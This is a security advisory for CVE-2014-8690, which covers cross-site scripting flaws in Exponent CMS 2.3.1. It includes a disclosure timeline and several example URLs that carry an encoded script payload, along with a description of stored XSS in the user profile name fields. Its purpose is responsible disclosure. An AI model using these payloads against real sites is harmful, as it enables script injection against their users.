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Exponent CMS 2.3.1 Cross Site Scripting

Exponent CMS 2.3.1 Cross Site Scripting
Posted Feb 12, 2015
Authored by Narendra Shinde, Mayuresh Dani

Exponent CMS version 2.3.1 suffers from multiple cross site scripting vulnerabilities.

tags | exploit, vulnerability, xss
advisories | CVE-2014-8690
MD5 | e3af295b80662d9ed91e8fddd2286f71

Exponent CMS 2.3.1 Cross Site Scripting

Change Mirror Download
######################
# Exploit Title: Multiple Exponent CMS Cross-Site Scripting Vulnerabilies
# Discovered by-
# Mayuresh Dani (mdani@qualys.com)
# Narendra Shinde (nshinde@qualys.com)
# Vendor Homepage: http://www.exponentcms.org/
# Software Link:
http://sourceforge.net/projects/exponentcms/files/exponent-2.3.1.zip/download
# Version: 2.3.1
# Date: 2014-10-11
# Tested on: Windows 7 / Mozilla Firefox
# Ubuntu 14.04 / Mozilla Firefox
# CVE: CVE-2014-8690
######################
# Vulnerability Disclosure Timeline:
# 2014-11-04: Discovered vulnerability
# 2014-11-04: Vendor Notification
# 2014-11-05: Vendor confirmation
# 2014-11-06: Vendor fixes Universal XSS -
http://www.exponentcms.org/news/security-patch-released-for-v2-1-4-v2-2-3-and-v2-3-0
# 2015-02-12: Public Disclosure
######################
# Description
# Exponent CMS is a free, open source, open standards modular enterprise
software framework and content management system (CMS) written in the PHP.
#
# CVE-2014-8690:
# Universal XSS - Exponent CMS builds the canonical path field from an
unsanitized URL, which can be used to execute arbitrary scripts.
# Examples:
#
http://www.exponentcms.org/news/show/title/time-for-a-heavy-harvest-new-release/src/%22%3E%3Cscript%3Ealert%287%29%3C/script%3E@random4cd201e063d5c
#
http://www.exponentcms.org/news/show/title/%22%3E%3Cscript%3Ealert%287%29%3C/script%3Etime-for-a-heavy-harvest-new-release/src/@random4cd201e063d5c
#
http://www.exponentcms.org/news/%22%3E%3Cscript%3Ealert%287%29%3C/script%3Eshow/title/time-for-a-heavy-harvest-new-release/src/@random4cd201e063d5c
#
# 2.b. XSS in user profiles.
# The "First Name" and "Last Name" fields on
http://server/exponent/users/edituser are not sufficiently sanitized. Enter
your favourite script and the application will execute it everytime for you.
#
# More information and PoCs -
http://exponentcms.lighthouseapp.com/projects/61783/tickets/1230-universal-cross-site-scripting-in-exponent-cms-231-and-prior
#
#
# Thanks,
# Mayuresh & Narendra
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